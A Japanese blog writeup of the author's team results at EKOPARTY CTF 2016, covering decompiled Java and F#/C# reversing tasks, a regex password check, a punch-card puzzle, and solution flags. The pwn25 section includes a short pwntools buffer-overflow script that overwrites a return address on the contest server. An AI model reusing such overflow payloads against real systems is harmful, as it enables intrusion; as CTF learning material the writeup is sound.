読者です 読者をやめる 読者になる 読者になる

絵を描くCTFer

CTFつよくなりたい

EKOPARTY CTF 2016 Writeup (デコンパイルパンチカードCTF)

CTF

開催期間(JST)

10/27 AM5:00 ~ 10/29 AM5:00

結果

・チーム名:wabisabi

・得点:500pt

・順位:209/721

解いた問題

JVM(rev25)

・F#ck(rev50)

・RrEeGgEeXx(rev75)

・Ultra baby(pwn25)

175pt

途中まで解いた問題

・Alice secret message(for175)

・Old but gold(misc250)

Writeup

JVM(rev25)

「EKO.class」というJavaのクラスファイルが与えられるので, とりあえず実行してみるも何も表示されない.

jd-guiを使ってデコンパイルしてみると, 次のようなソースコード.

public class EKO
{
  public static void main(String[] paramArrayOfString)
  {
    int i = 0;
    for (int j = 0; j < 1337; j++) {
      i += j;
    }

    String str = "EKO{" + i + "}";
  }
}

最後ら辺に、

System.out.println(str);

とかを付け足して, 結果を出力するように変えて, コンパイルして実行.

EKO{893116}

F#ck(rev50)

「FlagGenerator.exe」というファイルが与えられるので実行してみるも, 確か何かのエラーをはかれて実行できなかった.

ILSpyを使ってデコンパイルしてみる.

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.get_InputMustBeNonNegativeString(), "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string text2 = text;
                fSharpFunc.Invoke(text2);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

c#のコードにデコンパイルできたので, 読んでいく.

t#hs_siht_kc#f

14文字

num2 = 0
num3 = 13

array2はstring型の配列?でnum分確保されている


array2[0] = fSharpFunc.Invoke(0)
num2++


strはサロゲート文字ではないから、たぶん↓
array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
FSharpFunc<int, string> fSharpFunc = new Program.teArr@9("t#hs_siht_kc#f",array)

this.str = "t#hs_siht_kc#f"
this.ccIndices = array

iが13になったらif文
this.ccIndices.Length - 1 = 13

return this.str.Substring(0, 1-0) つまり "t"

array2 = ["t", 

num2 == 1
1文字目から1文字取得

...................


array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c"
num2 == 12

num2 == 13
return "f"

array2 = ["t", "#", "h", "s", "_", "s", "i", "h", "t", "_", "k", "c", "f"]

reverse

f#ck_this_sh#t

こんな感じで解いてる時にメモを残していたけど, 結局は途中で与えられているt#hs_siht_kc#fと言う文字列を逆順にしたものが答え.

EKO{f#ck_this_sh#t}

RrEeGgEeXx(rev75)

問題名から, 正規表現を扱う問題っぽい. (表記の仕方かっけぇ)

「RegexAuth.exe」というファイルが与えられる.

実行してみると

EKO AUTH CHECKER
----------------
Password:

とか, パスワードを求められる.

正しくないと

IMPOSTOR

これも, ILSpyでデコンパイルしてみる.

using System;
using System.Text.RegularExpressions;

namespace RegexAuth
{
    internal class Program
    {
        private static bool check_regex(string regex, string input)
        {
            Regex regex2 = new Regex(regex, RegexOptions.None);
            Match match = regex2.Match(input);
            return match.Success;
        }

        private static void Main(string[] args)
        {
            Console.WriteLine("EKO AUTH CHECKER");
            Console.WriteLine("----------------");
            Console.Write("Password: ");
            string input = Console.ReadLine();
            if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
            {
                Console.WriteLine("Welcome master");
                return;
            }
            Console.WriteLine("IMPOSTOR");
        }
    }
}

こんな感じ

正規表現で, パスワードチェックを行っている場所に注目.

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))

これをなんとなーく読んで

"^.{40}$" 任意の1文字が40回で始まりと終わり つまり40文字

\www\{(任意の1文字0回以上繰り返し)\} → EKO{} ?

_s(任意の1文字0回以上繰り返し)e_

\{ooOOoo

OOooOO\}

sup3r_r3g3x_challenge

EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby(pwn25)

not strippedだったので, gdbで関数見てみると「Flag」という明らかな関数があるのがわかる.

startさせて, callするも

EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

表示されない

値を入力させるプログラムだったのでBOFを疑い, Aをいくつか入力してみると24回目でBOF.

よって, BOFしたあとにFlag関数にreturnするようにしてあげる.

from pwn import *

r = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)
r.sendline('A'*24 + p64(0x07f3))
print r.recvall()

EKO{Welcome_to_pwning_challs_2k16}

Alice secret message(for175)

解けなかった.

zipを解凍すると, 7zで圧縮されたファイルがでてくる.

それも解凍すると, 4GBくらいのイメージファイルが.

fileコマンドで確認すると

DOS/MBR boot sector

FTK Imagerで確認すると, いくつか削除されたファイル(画像が4枚ほど, pdfが1つ, txtが1つ)があるのがわかる.

取り出して見てみると, 画像とpdfはドラッグとかについてのもので超怪しい.

pdfのファイル名は「The_Compleat_Recreational_Drugs_Handbook」で, 80ページ越えのもの.

なんやこれ・・・・って思って中身パラパラ見てみるもわからない.

画像のExifはどうだろうと思って見てみたり, Google画像検索とかで元画像探して、見つけるもよくわからない.

お手上げ~

この問題, CTFtimeにもまだWriteupが上がっていなくて, めっちゃ気になる.

Old but gold(misc250)

終了2, 3時間前ぐらいに取り掛かったやつ.

人間パンチカード読み取り機になって解いていた.

確か最初見たときは,

「問題文にQRコードってあるやんけ!やったろ~」

---------- zip解凍 ----------

「・・・・・・・・・・・・・・・・」

ってな感じで, なにがなんだかさっぱりで諦めてた.

終了が近くなり, 配点大きいやつに取り組もうと問題漁ってたら, この問題が結構解かれていたのでやってみた.

結果・・・・

めちゃくちゃ惜しいところまでいっていたらしく, 悔しすぎる.

与えられるファイルは14枚の画像ファイル.

f:id:ywkw1717:20161030031543p:plain

その内の1枚

f:id:ywkw1717:20161030031624p:plain

これ, 初見でなんなのか分かる人は, 変態か昔の人だけだと思ってる.

調べてみるとどうやら, 「IBMの80欄カード」ってものらしく, 1928年にIBMによって作られたものらしい.

ここを参考にした.

http://www.wikiwand.com/ja/%E3%83%91%E3%83%B3%E3%83%81%E3%82%AB%E3%83%BC%E3%83%89

で, 確か残り3時間切っていて, 実装力のない自分にとっては目視で解くのが一番速いと思ったので, 目視解読スタート.

一応, リンク先のままだと見辛いので, 簡単な対応表は作っていた.

Y1 A
Y2 B
Y3 C
Y4 D
Y5 E
Y6 F
Y7 G
Y8 H
Y9 I
X1 J
X2 K
X3 L
X4 M
X5 N
X6 O
X7 P
X8 Q
X9 R
01 /
02 S
03 T
04 U
05 V
06 W
07 X
08 Y
09 Z

ひたすら読んでいく.

やはり, 反復して出てくるものは覚えられるので, 途中「読める・・・・読めるぞ・・・・!!!」みたいになってた.

得られた文章↓

IT WAS THE SIXTIES. HE WAS TRYKNG TO FIGURE OUT HOW TO
MANUALS TRY1NG TO LEARN HOW TO PROGRAM AND SPEND A LOT
OF TIME PUNCHING THOSE NARDS. CAN YOU IMAGINE WHAT COULD
USING THIS OLD TECHNOLOGY. GOOD LUCK. YOU WILL NEED IT.
HAPPEN IF YOU FAKE A SMALL MISTAKE IN ON OF THOSE PUNCHED
ERROR DUE TO A SMALL AND ALMOST INSIGNIFCANT MIST4KE BUT
THE BUG. BUT THOSE WER3 THE OLD DAYS. CAN YOU FIND THE FLAG
USE THOSE PONCHED CARDS. HE LIKES TO PROGRAM IN FORTRAN
CARDS. AFTER THOSE HOURS WAITING ROR A RESULT. THEN IT SAYS
IN THOSE DAYS YOUR ONLY OPTION W4S READ LARGE BOOKS AND
AND COBOL. B(Y58)T EVEN AFTER ALL THOSE YEAR HE DOESNT KNOW
HOW TO PROPERLY MRITE SECURE CODE IN THOSE LANGUAGES
THAT WILL TAKE MORE TIME TO MEBUG AND FIGURE OUT WHERE WAS
ONCE UPON A TEME. THERE WAS A YOUNG HACKER CALLED MJ

(途中3つ穴が開いている場所があって, どの特殊記号かわからなかった)

ここで, 重要なことに気づく.

「これ, 順番合ってんのか!!!!!!???????」

とりあえず, 残り30分くらいだったのでそのまま読む.

FLAGそのままかいてないんかーい, ってなったけどせっかくここまで解いたので諦めず考える.

文章には途中, いくつか間違っているところが存在する.

これか?と思い, 並べてみるもよくわからない.

ここでタイムアップ.

他の方のWriteup見る限り, ストーリーが成り立つように並び替えて, 間違っている箇所を順番に読んでいけばいいらしい.

もう少し時間があれば解けたって言いたい.

とても悔しかった.

まとめ

pwnが1問解けた喜びがあった.

全ジャンル, ちょっとずつしか解けていないみたいな感じだったので, チームメンバーそれぞれ, 担当しているジャンルの強化が必要だなと強く実感した.

今回のCTF,

デコンパイルパンチカードCTF

みたいな印象が残った.